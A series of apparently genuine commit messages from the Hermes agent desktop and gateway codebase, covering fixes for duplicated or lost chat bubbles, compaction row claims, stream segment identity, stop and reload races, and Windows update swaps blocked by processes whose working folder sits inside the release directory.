_CodexResponseAssembler.result() synthesized a message from buffered output_text deltas only when the
stream carried no tool call. A backend that announces a call, streams narration in a message item and
never sends that item's done event (the relay shapes in #143893) lost the narration whenever a
commentary item was also present, because the normalizer's output_text fallback is skipped once a
commentary phase is seen. The turn then stored an empty assistant row and showed no bubble.

result() now synthesizes the message whenever no answer-phase message item exists, tool calls or
not, and places it before the first call. Commentary and analysis deltas never enter text_deltas, so
they are unaffected.

Live (real tui_gateway.entry + scripted codex_responses stub): base stores '' for the narration
turn and the resumed transcript lacks it; head stores and paints it.
The probe is one SELECT on the write transaction's own connection. A blind catch that logs and
skips the guard would hide a broken transaction and silently restore the duplicate insert; an error
there now fails the flush like any other statement in it (code-health BLE001). Builtin generics
for the new helper's annotations (ruff UP006).
The narration fix synthesized a message from any buffered output_text deltas
whenever no answer message item completed. That also promoted bare
output_text beside a commentary item, which main's completion contract
(test_auxiliary_codex_completion_status
[tool-call-like-output-text-beside-commentary]) keeps as narration with
finish_reason=length. Beside calls/commentary, synthesize only when an
assistant answer message (not commentary/analysis) was announced via
output_item.added and its done event never arrived; the no-output plain-text
synthesis is unchanged.
The salvaged #134799 guard skipped any no-snapshot, no-row-id dict whose
message_uid was ACTIVE, so SessionDB.append_messages_batch dropped a fresh
message carrying a copied uid — the exact case main's contract
test_fresh_identical_message_is_never_adopted_by_payload pins ("even a copied
message_uid is not proof").

Narrow the trigger to provenance: the agent flush records the uids it itself
saw durable in its current session (rows it flushed, history it scanned as
already persisted) and marks a later marker-stripped copy of one of them
RESTORED_FROM_STORE on its batch row. The write transaction skips only those
marked rows whose uid is still ACTIVE. A direct append with a bare copied uid
inserts as on main.
Compaction carries a tool result forward as a shortened stub with the same
message_uid and timestamp. Tool results keep their payload in the display key
on purpose (the archived output must never fold into its stub), so the stub got
a display slot of its own and Desktop painted the tool result twice: the full
archived original and the stub (#132939, #135655).

The display reads now skip a tool row when an archived, display-visible tool
row of the same session, message_uid and timestamp holds an earlier slot. The
rule reads identity only (no body comparison) and changes no stored row: the
stub's display_metadata and the model history stay as they are. An in-place
prune keeps its row's slot, so its stub still wins its slot as before.

Every display reader applies it: the indexed page and its count, the timeline
and messages-around reads, and the Python dedupe behind session.resume,
lineage reads and the runtime worker's snapshot read. The SQL probe seeks
(session_id, active, timestamp), so a page read stays per-row cheap.
Review H on #144938:

- Codex: the narration recovery for an announced answer item now needs a terminal frame. A stream that
  ends mid-turn (answer announced, partial text, a call announced, no terminal frame) raises "did not
  emit a terminal response" and retries, as on main, instead of completing on the cut-off sentence with
  the call lost. Text deltas follow the phase of the item they name, so commentary that arrives after a
  call announcement is no longer fused into the recovered answer.
- Compaction carry: a dict that names its row by _row_id claims only that row; a message_uid claim needs
  the same identity (a same-uid row with newer content is kept and cloned); an identity+timestamp claim
  is refused when the dict's uid differs from the row's. Rows claimed by identity alone are archived as
  compacted history instead of rewound, so a wrong claim stays visible in display.
- Flush guard: a restored dict whose uid is ACTIVE is skipped only when it serializes to that row's owned
  columns; an edit since the restore inserts, as on main.
The durable-uid guard compared a restored dict with the RAW stored row, but restore sanitizes and strips
user/assistant text (context blocks, edge whitespace), drops the compaction-summary flag by default, and a
wire strip loses the underscore identity maps. Those restored copies never matched, so they were
inserted again: the #134799 duplicate survived for ~2% of user rows, summary rows, and every tool-call
assistant row behind a full underscore strip.

_same_as_stored now views the stored content through SessionMessagesMixin._loaded_view_content (the
function restore uses) and takes the row's value for token_count, the summary flag, tool_call_uids and
absorbed_message_uids when the dict carries none. The dict's own content is never normalized, and
content/tool_calls/reasoning are still compared, so an edited restored dict still inserts.

A compaction uid claim with different content (the compressor merged the summary into a carried message or
stripped its images) now claims the tail row when no active row outside the tail carries that uid. It is a
weak claim: the original is archived as compacted history and stays visible. When the dict's original sits
below the watermark, the tail row is another version and is still cloned (B3 unchanged).
The weak uid claim let a held copy stand for a tail row whose content
differed, so a row rewritten in place after the compressor took its copy
(an @file expansion) left the model on the older text, and claims made
greedily in id order cloned the matching edit of a re-inserted uid.

Claims now run in two passes. The first settles every claim whose dict
holds the row's stored content (_row_id, uid, identity+timestamp, bare
identity). The second lets a still-unclaimed dict naming the row by
_row_id or uid claim it only when exactly one tail row carries that uid,
no covered row does, exactly one candidate dict remains, and the
difference is the compressor's own rewrite: image parts swapped for text
placeholders, or the row's text kept verbatim inside a longer text. The
summary flag alone is not trusted. Anything else is cloned (a duplicate,
never a stale model view). The _row_id shape the in-process compressor
produces now takes the same claim, so its merged copy is no longer cloned.
Review H4 F1: text containment could not tell "the compressor added text" from "the row lost text after
the copy". An in-place edit that SHORTENED a tail row ("fix bug in parser" -> "fix bug", or
"yes, but first delete the prod database" -> "yes") left the new text inside the older held copy, so the
row was weakly claimed and the model stayed on the pre-edit text; the edit survived only in display.

The second claim pass now requires a copy of the row's current version before containment counts:
- a held dict carrying the stored-row digest (DB_ROW_SNAPSHOT) must match transcript_row_snapshot of the
  row (tail rows are read with every column for this); a mismatch means a rewrite after the copy;
- without a digest only a _row_id carry qualifies (row-addressed loaders, e.g. a Desktop resume, omit
  the digest by design); a bare uid copy may predate any rewrite, so it is cloned;
- the row's text must sit in the copy as whole lines (blanks beside it allowed): the compressor only adds
  whole blocks (header, markers, summary) around a carry.
Image-placeholder swaps stay claimed without a digest: that check already compares everything else.
Anything else is cloned: a duplicate, never a stale model view.
Review round 5 (unsupportedpastels) on #144938, three findings:

- Compaction claims no longer accept matching text: the identity+timestamp and
  bare-identity claims are gone. Only a dict naming the row (_row_id, else
  message_uid) may stand for a tail row, so an identical message another
  surface appended after the watermark keeps its model-visible row (as main).
- A rewritten-carry (containment) claim needs the stored-row digest to equal
  the row's current version; a _row_id without a digest no longer proves it,
  so a row shortened in place after a row-addressed load keeps its new text.
  (A loader-stamped version witness would add an underscore key to
  row-addressed projections, which test_message_reactions pins to _row_id and
  _db_persisted; such carries are cloned as on main instead.)
- Both claim passes and the flush re-insert guard now compare what the next
  request replays: the guard compares _REPLAY_COLUMNS (owned columns +
  api_content + codex_reasoning_items) instead of the CAS ownership columns,
  and claims check api_content and the reasoning carriers through the
  writer's serializer. A newer sidecar or encrypted reasoning item is stored
  / kept instead of being dropped as "the same message".
Review round (kshitijk4poor) on #144938 (reviewed at b0fad87a; B1-B4 fixed by 7df4b2df):
- The comment at both rewind sites said "a row claimed by identity alone". Since 7df4b2df no
  claim is by identity alone: a weak claim is a rewritten carry naming the row (_row_id, else
  uid). The comment now says that.
- resolve_and_repair_transcript_batch imported _PERSIST_AFTER_ADMISSION_INTERRUPT inside the
  per-message loop. It is now imported once per call, still late because
  agent.session_persistence imports this module at load time.
- The replay helper in test_compaction_carried_tail_not_cloned.py now builds each provider
  message through the turn's own substitute_api_content, so the B1-B3 assertions check the
  bytes the next request sends instead of re-implementing the sidecar rule.
A turn's reply reaches the renderer as live stream events, as the row the
backend commits before each tool round, and again through every history
read (re-attach to a running turn, reload, switch-back, reconnect replay,
the in-flight journal). Each merge path decided on its own whether two
bubbles were the same reply, so every path that decided wrong painted the
reply twice while state.db held one row; eleven per-path fixes later the
reports continue.

Fold duplicates once, at the render boundary the main chat and every tile
share (useRuntimeMessageRepository), keyed on the content a bubble shows in
order (text, tool calls by name + id + arguments, other parts; reasoning
ignored) within one user turn:

- a bubble whose content another bubble of the turn already shows is the
  same reply twice; the committed copy wins, then the one that carries the
  turn footer, then the earlier one;
- a bubble that starts with an earlier bubble's content including a tool
  call is a live segment re-drawn after a re-attach; only its new remainder
  renders (#127288).

Text alone never trims a bubble that adds something new, so commentary
authored twice across tool rounds still renders twice, as hydration does.
The store is untouched.

Adds reattach-running-turn.spec.ts to the core e2e lane.
A user row whose stored row id an earlier user row already carries is the
same prompt twice; drop it so its turn joins the earlier one and the reply
copies under it fold. Adds the redelivered tool.complete (#140397), steer
then re-attach, and reconnect mid-tool-turn steps to the core e2e spec.
Reverts the src half of 955c25423a9f and bbbf3a78a157. Ruling on PR
#144899: the content fold in lib/chat-messages/turn-reply-fold.ts is
rejected as the fix. It matches bubbles by content, so it hides output
the agent genuinely repeated; it never removed a duplicate that fires
live on main (the narration replayed after a message.start stays a
double inside one bubble), and its head run showed a stale partial
bubble beside the live one on reload mid-answer.

The core e2e spec added with it stays: its steps are the live shapes the
segment-identity fix is held to.
A turn's message.* frames can reach the renderer twice: a reconnect
replay under new seqs, a superseded attempt that re-streams the segment
it already sent (#144609), a second socket. They carried no identity, so
the renderer could only append, and the copy painted beside the original:
inside the live bubble after its tool row, or as a second bubble.

The backend now stamps a prompt turn's frames (tui_gateway/
stream_segments.py): message.start carries the turn's turn_id; every
message.delta adds its segment (interim seals before it) and its offset
in UTF-16 code units inside that segment; every message.interim the
segment it seals. The contract and generated TS types carry the fields.

The renderer keeps a per-session cursor of how far the turn's reply has
been applied (use-message-stream/segment-identity.ts). A delta it has
already applied is dropped (an overlap keeps only the unseen tail), a
seal of a segment already sealed is a no-op, and a message.start whose
turn_id is the session's current turn is not a new occurrence. Frames
without a stamp (older backends, non-prompt emitters) take the old path,
and text the agent genuinely repeats in a later segment still renders:
identity, not content, decides.

The core e2e spec gains the reload-mid-answer step back and the replay
spec (start + narration re-sent when the tool starts).
Desktop turns that run through the session authority publish message.delta
and message.interim from gateway/run_turn_runner.py, not tui_gateway's
prompt_turn, so the core e2e replay still painted the re-sent narration.
_publish_execution now stamps those frames per execution generation with the
same TurnSegments cursor.
A socket drop mid-answer re-runs resumeSession for the open chat. The
backend cuts that snapshot while the turn still runs, but the new socket is
already attached, so the turn's message.complete can land first. The resume
then reconciled its older inputs (the in-flight projection, a REST page read
before the reply was stored) over the settled reply and rewound it to the
partial the snapshot caught, usually the first chunk. Fires on origin/main
too (core e2e socket-drop step: 1/10 on base, 1/10 on the PR head before
this change); the stream segment cursor is not involved (no stamped frame
reaches the renderer after the reconnect in any failing run).

message.complete now notes when a runtime settled a turn
(use-session-actions/settled-turns.ts), and a same-session resume that
started before that keeps the live transcript instead of the snapshot
(resume-reconcile.ts; durable row identity arrives with the next transcript
refresh). The resume reconcile helpers move into that sibling so
use-session-actions/index.ts shrinks.

The core spec's socket-drop step settles on the view (Stop gone) instead of
a message.complete frame the lossy wire may drop, and the replay spec holds
the answer to screenshot the turn mid-flight with the re-sent narration in.
A long chat's newest page (120 rows) starts inside an older tool turn, so the
refresh graft falls through to the stored-id merge. That merge kept every
window row without a stored id beside the stored copies the page brings. A
steered turn reaches it with a receipt that is not `complete` and a sealed
narration bubble that never had a stored id, so the turn's narration and its
answer rendered a second time under the stored fold (#141771's layout once
the duplicate final collapses).

The turn's `message.complete.persisted_turn` receipt names every stored row
of the turn and its own prompt (`submission_id`, `user_row_id(s)`). The page
is one contiguous run of the newest stored rows, so a page that holds the
turn's first row and reaches its last row holds the whole turn: the window's
rows from that prompt to the receipt bubble are dropped and the page's copy
is drawn. Identity only: a row with a stored id outside the turn aborts the
drop, and a page that does not reach the turn's last row keeps today's merge.

Live (Electron core e2e, real `hermes serve` + scripted provider):
tail-resync-merge.spec.ts "steered tool turn" fires on the PR head (A9i1,
A9i2, A9, A10i1, A10 each rendered twice for the whole observation window)
and passes here; the narrated control passes on both.
The newest page (120 rows) can start inside an older tool turn. History
folds a turn under its first stored row, so the page's fold of that turn is
addressed by the boundary row while the window's fold of the same turn is
addressed by the turn's first row. The stored-id merge slotted them apart,
and the turn's later narration and answer rendered again under the whole
turn: #141771's "final answer, then the narration below it" once the
duplicate final collapses.

A page fold whose stored rows the window's fold all carries, while the
window's fold also carries rows older than the page, is that turn cut by the
page boundary: the window's whole fold stays and the page's partial copy is
dropped. Paired by stored row ids only.

Live (Electron core e2e): on the previous commit tail-resync-merge.spec.ts
"steered tool turn" failed with seed turn 2's A2i6..A2 rendered twice (the
page began at its sixth narration row); with this commit all three steered
turns and the narrated control pass.
prompt.submit must emit the same frame transcript whether dashboard.turn_isolation is off
(in-process turn) or on (compute-host child, whose frames the parent relays verbatim):
test_prompt_submit_golden_transcript_matches_flag_off_and_on on main pins that at the _emit
seam. 1ebd77c72c2a stamped the segment identity at prompt_turn's _emit call sites, so the
in-process turn's message.start / message.delta calls grew turn_id / segment / offset and the
golden test went red.

The stamp now goes on beneath _emit, from one shared rule (stream_segments.stamp_reply_frame):
_run_prompt_submit registers the turn's TurnSegments on the session and run_body's finally drops
it; server._emit stamps message.start / message.delta / message.interim from that cursor. The
in-process turn and the compute-host child run the same _run_prompt_submit, so every client
frame carries the identity on both roads while the _emit calls stay byte-identical. The session
authority's TurnRunner._stamp_segment uses the same stamp_reply_frame with its per-generation
cursor. A frame emitted outside a running prompt turn stays unstamped (the renderer's old path).

test_stream_segment_identity now reads the client frames (write_json) of two real prompt.submit
turns: stamps, UTF-16 offsets, one turn_id per turn, and no cursor left after the turn.
Stop marks the session interrupted, and the interrupted `message.complete`
then settled the bubble and returned before any receipt binding ran. Every
row of the stopped turn stayed an unstored live row (`user-<submission>`,
`assistant-stream-*`), so once a long chat's refresh fell through to the
stored-id merge, the page's stored copy and the live copy both rendered:
the whole turn, prompt included, twice (#139741, whose reporter stopped a
turn and resent it).

The interrupted completion now binds the turn's user bubbles to the stored
rows its receipt names (`bindReceiptUserRows`, the same pairing the normal
completion uses) and gives the turn's last reply bubble the receipt, so the
receipt rule from the previous commit can recognise the turn the page holds.

NOT live-verified: tail-resync-merge.spec.ts "stopped turn" fires on the PR
head and still fired in 2 of 3 runs with this commit (U7, A7i1, A7 twice).
The unit contract is green; the live path that still duplicates is open.
Stop settles the turn on screen (busy off) before the backend's interrupted
`message.complete` arrives, so the window-return / sessions.changed refresh
can merge the newest page in between. In a chat past one page that read goes
through the stored-id merge: the page already holds the stopped turn's stored
rows, while the live prompt and reply have no stored id yet, so the merge kept
both and the whole turn, prompt included, rendered twice; the second copy is
the live one tagged "Response stopped" (#139741). The interrupted completion
then bound its receipt onto the live copy, but nothing removed the stored copy
the merge had already put on screen, and an unchanged page is not re-merged.

The interrupted completion now also drops, by identity, every row in front of
the sender's own prompt (`user-<submission_id>`) whose stored ids all belong
to the receipt's `row_ids`: that is the stored copy of this turn. The live copy
keeps the receipt, which is the state the no-race order already reaches, and
the next page read replaces it the usual way.

Live (apps/desktop/e2e/core/tail-resync-merge.spec.ts "stopped turn", real
Electron + `hermes serve` + scripted provider): the previous head (stopped
receipt bind only) still fired when the merge landed before the completion
(diag build: merge 78 ms before `message.complete`, U7/A7i1/A7 twice); with
this commit 6/6 stopped runs pass and the full spec passes 3/3.
A window reload (or an app restart) mid-reply resumes the chat cold. The
resume restores the turn's live row, from the in-flight journal or from the
backend's in-flight projection (assistant-stream-<runtime id>), and points
the stream at it. A resume snapshot that names no pending clarify then
settles clarify cards, and that spread set the stream target to
`clearedClarifyProjection.streamId ?? state.streamId`: with no card open it
fell back to the pre-resume state's target, which a fresh window does not
have. The next delta therefore opened a second bubble beside the restored
row, the reply split in two ("A4" | "answer across a reload") on every
reload, and message.complete wrote the whole text into the new bubble while
the restored one still showed the first chunk, so the reply drew twice until
the post-turn refresh replaced both. Fires on origin/main and the PR head:
core e2e reload step (reattach-running-turn.spec.ts) splits in every run and
fails its transient-duplicate sampler in 1-3 of 10.

The target is now chosen by row identity (resume-reconcile.ts
resumedStreamTarget): the first of the settled clarify row, the pending
connection row, the pre-resume target and the recovered row that the resumed
transcript holds, else the backend projection's live row. livePromptStreamId
moves into the same sibling so use-session-actions/index.ts does not grow.
The reattach spec's reload step only caught the split reply when its
transient-duplicate sampler happened to land in the ~20 ms between
message.complete and the post-turn refresh (1-3 of 10 runs). The scripted
provider can now hold a step after its last text chunk (holdBeforeFinish), and
the reload step asserts, with the turn still open, that the bubble holding the
answer streamed after the reload also holds the reply's first chunk, then
screenshots that frame (reload-mid-turn.png).

Live (Electron core harness, real hermes serve, scripted provider, Xvnc):
PR head + l1e/l1h (35c0bfaefafe) FIRES 10/10 (the post-reload text sits in a
second bubble, "answer across a reload" without "A4-"); with 4d803ee87cc1
10/10 pass.
A turn stopped during the answer after a tool round is stored as the
narration row with its tool call, the tool result, then the interrupted
partial (display_metadata {"interrupted": true}). Reading the transcript
folds that partial into the tool bubble, and the fold branch kept its parts
but not its interrupted flag. So once a refresh replaced the live stopped
turn with the stored copy (the post-turn / window-return refresh, ~13 s
after Stop in the l1h stopped spec), the "Response stopped" tag vanished,
although the stored row says the reply was stopped. A stopped reply without
a tool round was not affected (live probe: stored row carries the flag and
the tag survives the replacement).

The fold now carries the absorbed row's interrupted flag onto the bubble.
dropReceiptTurnsThePageHolds removed every window row between a turn's
prompt and its receipt bubble. Rows the renderer draws and never stores
(the /btw echo and answer, /bg results, fallback-switch, deferred-compress,
approval-timeout and self-improvement review notices) land inside that span
once a steer puts later rows of the turn below them, and the page cannot
bring them back: in long chats the side answer vanished at settle (main kept
it). One predicate, isLocalSystemNotice (role system, no stored row), now
names these rows; the receipt drop skips them and they travel through the
stored-id merge as on main. preserveLocalSystemNotices uses the same
predicate.
In a short chat the refresh page holds the whole conversation, so the graft
takes it as is and preserveLocalSystemNotices put back only the TRAILING
local notices. A steer puts the steer row and the post-steer reply below a
/btw echo and answer, so the steer-time refresh dropped both (also on main;
captured with a logging build: graft anchor0 6 -> 4 rows, 2 local notices in
the window, 0 trailing). A notice now goes back in front of the next row the
refreshed transcript still holds (by id or stored row); trailing notices go
at the end as before, and one whose later rows the refresh dropped
(compaction, rewind) still goes with them.
A turn stopped before any reply text ends on stored rows no page paints:
the tool result folds into its call and the empty closing assistant row is
skipped (toChatMessages of rows 133-136 paints only 133 and 134). The
receipt drop requires the page to reach the turn's last row, so it never
fired: the window's live copy ("Interrupted", "Response stopped") and the
page's stored copy ("Ran sleep 12") both drew. When the page holds a stopped
turn's first row but not its last, the window's live copy, which carries the
receipt the interrupted completion bound, is the whole turn; the page's rows
inside that receipt are the partial copy and go. Identity only (receipt row
ids, the turn's prompt), and the live copy keeps its stopped mark.
A Stop during a tool run leaves no reply: the finalizer closes the tool tail with
the empty hidden placeholder row and wrote no stopped mark anywhere, so once the
stored copy replaced the live one (the refresh after the stop in a short chat, a
later turn's refresh in a long one, every reload) "Response stopped" was gone.

The user-stop callers of close_interrupted_tool_sequence (the finalizer's
interrupted close and abort_turn_on_interrupt) now record interrupted on the
closing row, as turn_api_call.py does on a partial reply; truncation/overflow
closes stay unmarked. Hydration lends that empty row's mark to the bubble it
closes, the same rule as a reply folded into its tool bubble.
In a chat longer than the newest page, the refresh that settles a steered
turn drops the window's copy of the turn (the page holds it whole) but keeps
its local notices (/btw, /bg echoes and answers, fallback-switch). With no
stored row of their turn left in the window, the notices travelled with the
next window row that has a stored id. When the background process the turn
started had already run its own completion turn, that row was the auto
turn's reply, whose prompt ("Background Process Finished") only the page
holds, so the notices drew inside the next turn.

The receipt drop now records, for each notice inside a dropped turn, the
stored id of the next dropped row of that turn (the steer prompt, or the
final answer). The merge puts the notice in front of the page's copy of that
row, where it was drawn live. A notice whose anchor the page does not carry
falls back to the end of the window instead of being lost.

Found by independent review J2 (N1) on this PR.
Each settled turn re-reads the newest stored page and the view could stop
following the bottom: the next turns streamed below the fold behind a
"N messages" pill, and older turns filled the screen. The tail-resync
steered spec saw it as turn 7's rows missing (innerText skips the
off-screen content-visibility rows) with the view parked on seed turns.

Two row-height jumps, both off screen, clamp scrollTop; the next frame's
content-visibility pass restores the height, so the ResizeObserver sees no
net change and use-stick-to-bottom reads the clamp as a user scroll-up and
escapes the lock:

- TurnRow declared contain-intrinsic-size:auto only together with
  content-visibility:auto, and the browser records a remembered size only
  while the declaration is present. Every row that left the live tail off
  screen dropped from its real height (766px) to the 37.5rem placeholder.
  The declaration now sits on every row.
- TurnRow was keyed by the message id, and a stored row's id carries its
  position in the page it was read from (`<ts>-<index>-<role>`). Every
  re-read that slid the 120-row window re-keyed and remounted every row in
  it, dropping each one's remembered size. Rows are now keyed by the
  durable row id (metadata.custom.rowId) when they have one.

Instrumented runs (scroll/RO/escape timeline): on 9e7ef274 every run
escaped the lock at the steered settle with a 320px shrink and no RO
delivery; with the fix only the newest optimistic-to-stored row remounts,
virtualized rows keep their size, 0 escapes. The spec now also reports a
view more than 64px off its bottom on two samples in a row: 2/2 red on
9e7ef274 (offBottom=320px), green with the fix.
Stop idles the view at the click, but the stopped turn's rows stay unstored
until its interrupted message.complete binds the receipt. A window-return or
sessions.changed read in that gap fetched a newest page that already held the
stored turn, and the merge kept the live copy beside it for ~50-400 ms until
the completion landed (review J3 N2; 7 of 12 stop cycles on 3b71af01).

tileRuntimeOwnsLiveState now treats "stopped, receipt not bound yet" as live
state, capped by the existing 3 s Stop cooldown. The entry and stale() gates
drop the read, and the existing retry-when-idle observer re-runs it once the
completion binds (or once the cooldown runs out: a timer wakes the observer,
since that end is not a store write).

Also review J3 C2: a notice drawn inside a steered turn whose steer bubble had
no stored row id yet anchored to the final answer, so it moved below the steer
(and the steer drew twice). The id-less steer bubble now takes its receipt user
row id when the turn's user bubbles pair one-to-one with the receipt's.
dropReceiptTurnsThePageHolds treated any receipt whose rows the page spans as
proof that the page holds the whole turn. A receipt with complete:false can
address only the rows that were stored (agent/persisted_turn_receipt.py):
when the final answer failed to store and a later turn followed, the window's
answer bubble, the only copy, was dropped. The window's turn now goes only
when the receipt is complete, the turn was stopped, or the page paints the
turn's last stored row as reply text.
Direct tests for close_interrupted_tool_sequence(stopped=...) and
TurnRunner._stamp_segment through _publish_execution (red on main). The
stopped docstring now says every interrupt gets the mark, as main already
marks interrupted partial replies.
`get_running_pid_identity_strict` compared the `gateway.pid` record with the
lock record whenever the file existed, so a PID file left behind by the
previous gateway — the `--replace` relaunch rewrote the lock but not the file
— raised "gateway PID and lock identities disagree" and
`find_profile_gateway_processes` aborted `_pause_windows_gateways_for_update`
before fetching anything. Every following update run died the same way until
the file was removed by hand.

A record whose process is gone is stale noise beside a HELD lock: the comment
above already treats the PID file as advisory (a launch-service gateway keeps
serving after it was unlinked, #110166, and `--replace` unlinks the old one,
#123430). Drop such a record and identify the gateway from the lock instead.
A record naming a LIVE process still has to agree with the lock, and a
malformed record still fails closed, so two live identities stay ambiguous.

Refs #143331
Follow-up to the two salvaged commits:

- gateway: the stale-PID-file drop moves into gateway/status_pid_records.py
  (gateway/status.py is over the 2,000-line ratchet and must not grow) and
  keys on the record's own start time. A PID file is dropped only when it
  names a DIFFERENT process instance than the lock holder (another start
  time) and that instance is gone or its PID was recycled. A PID file that
  claims the holder's own start time under another PID is garbled, not
  left over, so main's `test_pid_file_that_disagrees_with_the_lock_still_aborts`
  keeps its original fixture and still raises. Adds the recycled-PID case.
- pm: a Windows live test where the OS holds a file inside the tools entry
  while an explicit install re-realizes the same version (#139088), plus the
  different-bytes control that must still fail.
Windows refuses to rename a directory that is any live process's current working
directory. The updater's preflight only stops processes whose *executable* lives
under release/, so a third-party resident helper (Sogou IME's SogouCloud.exe, an
AV or assistant component) that inherited win-unpacked as its CWD when it was
spawned keeps holding the directory open. Every stage-and-swap then dies with
WinError 32 even though the build itself succeeded (#101789).

Treat a process whose CWD is release/ or below as a victim too. A process whose
cwd() cannot be read is skipped: it cannot be shown to be holding the tree, and
the whole helper is fail-open by design.

Fixes #101789
Windows refuses to rename a directory that any live process uses as its
working directory. A resident helper spawned from a Hermes window (Sogou
IME's SogouCloud.exe in the report) inherits that window's cwd inside
release/win-unpacked and keeps it after the app exits, so every Desktop
stage-and-swap failed with an opaque "Could not publish the desktop build"
although the build succeeded.

The previous commit stopped such processes automatically. A program that is
not part of Hermes is the user's, so this keeps its cwd detection
(hermes_cli/desktop_release_holders.py) and drops the kill:

- When the first swap rename is refused on Windows, every process whose cwd
  is inside release/ is named, one "Desktop app folder held by: NAME (pid N,
  EXE)" line each, and the update failure names it too.
- It is closed only with consent: a yes at an interactive terminal prompt, or
  the Desktop's "Close NAME and retry" choice, which leaves a one-retry consent
  file in release/ naming the programs. Each one is re-checked right before
  (same pid and creation time, cwd still inside, not our ancestor). A hidden
  hand-off or piped run with no consent never closes anything.
- windows.ps1 turns the holder lines into a structured release_holders list
  and a message naming the program; the relaunched Desktop shows it and offers
  the consented close-and-retry (default button: Not now), which runs the
  update hand-off again so the owed app is rebuilt and promoted.

Same goal as #101793 (name the holder instead of failing opaquely), plus the
consented retry.

main.ts: fileExists/directoryExists/isGitCheckout move to electron/fs-probes.ts
to offset the two new lines.

Fixes #101789
Greptile: _exited_pid polled psutil.pid_exists with a time.sleep(0.05) retry
loop, a shape tests/AGENTS.md bans. tests.waiting.wait_until now waits for the
child to leave the process table and fails with a named timeout.
The main stand-in now spawns a helper with no cwd of its own, the app is
killed, and the rename of the app folder runs with only that helper alive:
the shape of an IME cloud helper or WSL/ssh helper that outlives Hermes (#101789).
The Windows hand-off relaunched Hermes.exe (WMI and Start-Process rungs)
with release\win-unpacked as its working directory, and install.ps1 wrote
the Start menu and desktop shortcuts the same way. Every child the Desktop
starts without its own cwd inherits it, and Windows refuses to rename a
directory that is a live process's cwd, so one helper that outlives the app
blocked every later swap of that folder (#101789). Both now use the user
profile, matching the Electron entry point's own relocation.
main's Windows footgun check (utf-8 reads break on BOM-prefixed files that
PowerShell tooling writes) flags take_consent after the rebase.
main_desktop.py (an update entry point) now imports it to name and close a
process holding release/ on a failed swap, so tests/ci/test_update_ci_routing.py
requires it in _UPDATE_DEPENDENCIES.
Review round on #101789. The Desktop's "Close <program> and retry" consent stayed valid for an
hour: when the retry failed before the swap (build error, refused apply), the next swap from any
source (gateway /update, cron, another Desktop) closed the program without asking.

- The consent is bound to the retry's hand-off run id (checkout.ts binds it once the run id
  exists; windows.ps1 already exports it to `hermes update` as HERMES_UPDATE_CORRELATION_ID) and
  to the exact processes the user saw (pid + start time + program).
- Every swap attempt consumes the file at its start, matching or not; only the run it was given
  for acts on it. An apply that does not hand off removes it, and the hand-off script removes one
  its run never used.
- A holder whose program path cannot be read (a protected process) is named for the user to close:
  no Close button in the Desktop dialog and no y/N for it at the terminal, since closing it from
  here can never work.
The entry-point chdir was guarded only by a win32-only vitest, and JS CI runs on Ubuntu, so it
never ran. The decision is now a pure function of the host facts (platform as data) and is
checked on every host; the live EBUSY proof stays Windows-only.
With every holder unreadable (a protected process) the result message no longer points the user
at a close button the dialog does not show.
Review round on #101789 (R-890-1). A Desktop that the hand-off's tethered
Start-Process rung relaunched inherited that run's HERMES_UPDATE_CORRELATION_ID.
Its next hand-off passed `-HandoffRun Y`, but windows.ps1 kept the inherited id X
for `hermes update`, so take_consent(release, X) dropped the consent bound to Y:
every "Close <program> and retry" in that Desktop session closed nothing and the
dialog came back (fail-safe, but a dead button).

- windows.ps1: -HandoffRun beats an inherited id; an id from the environment is
  kept only when no run was given (older Desktops, other callers).
- windows.ps1: the run's id is removed from the environment before any relaunch
  rung, so the relaunched Desktop never carries it.
- checkout.ts: the Windows script hand-off sets HERMES_UPDATE_CORRELATION_ID to
  the run its consent is bound to (dropped when the script predates protocol 2).
- The stand-in Desktop quits once the hand-off adopts its bridge. A fixed 15 s
  lifetime could end before a loaded runner's hand-off adopted it, which the
  script then (rightly) refused as a Desktop that gave up.
- The stand-in relaunch target has its own name. The explorer rung takes any
  fresh process of that name as its launch, and a concurrent test's stand-in
  Hermes.exe was taken for ours.
The test only saw the relaunched Desktop's environment when windows.ps1 fell all
the way to the Start-Process rung. Its stand-in exited when the WMI or explorer
rung started it, so reaching that rung depended on the explorer rung's
400 ms poll missing the short-lived child. On the arm64 runner the poll caught
it (pid 11620), the explorer rung won, and the stand-in never recorded anything.

Now the stand-in records the id it inherited beside its own exe on every rung
and stays up without a window, so the first rung wins on every runner. While
that rung waits for a window, the test reads the hand-off's own environment.
That environment is what the Start-Process rung hands on, so the strip of
HERMES_UPDATE_CORRELATION_ID is checked whichever rung ran. The run id
assertion (update id == this run's id, consent covered) is unchanged.

The quitting stand-in Desktop also tolerates a refused marker read while the
hand-off rewrites the marker. It crashed with PermissionError on that runner.
The hand-off environment dict is too large for pytest to print in full, so the
value that leaked was cut off in the failure message.
release_after_refused_rename printed the machine-read "Desktop app folder held
by:" line for every holder before closing the consented ones. When a closable
holder exited but a protected one still refused the rename, windows.ps1 parsed
both lines and the Desktop offered to close the exited program again. The
prompt now shows human lines only; describe_block emits the machine lines for
the final unresolved set when the swap is given up.
The swap renames release/win-unpacked alone, but discovery, the re-check
before closing and the close itself looked for holders anywhere under
release/. A program whose working folder is a sibling (a stale
win-arm64-unpacked) was reported as blocking and offered for closing,
though it never blocked the rename. All three steps now take the folder
being renamed. close_holders compares start times with
_START_TIME_TOLERANCE_S instead of a literal 0.5, and take_consent decodes
the consent file after removing it and treats a non-UTF-8 file as no
consent instead of raising out of a swap documented never to raise.

Review folds 1, 2 and 4 (kshitijk4poor) on #144890.
releasePackagedWorkingDirectory moves a packaged Windows app out of its
install folder before main loads; a missing or unreachable home (an
offline roaming profile) made process.chdir throw and the app never
started. It now keeps the working directory and logs why.

Review fold 3 (kshitijk4poor) on #144890.
#144894 makes sourceUpdateEnvironment async (it resolves the system
proxy). windowsHandoffEnvironment is now async and awaits it, which also
works with the current synchronous builder, so this PR and #144894
compose in either merge order and the consent run-id binding stays.
Since v0.22.3 Desktop opens chats through the canonical gateway resume
(AuthorityConnection.resume -> SessionAuthority.attach), which ignored the
client's `omit_messages` and read, deduped, converted and byte-budgeted the
whole display lineage of the chat (every compacted row, plus the removed
rows' identities since the "show the whole history when resuming a
compressed conversation" change) on every open and switch. Desktop pages the
transcript over REST and discards that snapshot; v0.22.2's stdio resume did
no history read on this path at all.

`attach(..., history=False)` now restores the route and joins the stream
without reading the transcript. The resume honours `omit_messages` with it:
no rows, `messages_omitted: true`, the stored message count and the todo
plan from the store's bounded indexed lookup. Resumes that take the snapshot
(Ink /resume, watch windows, authoritative re-snapshots) keep the full
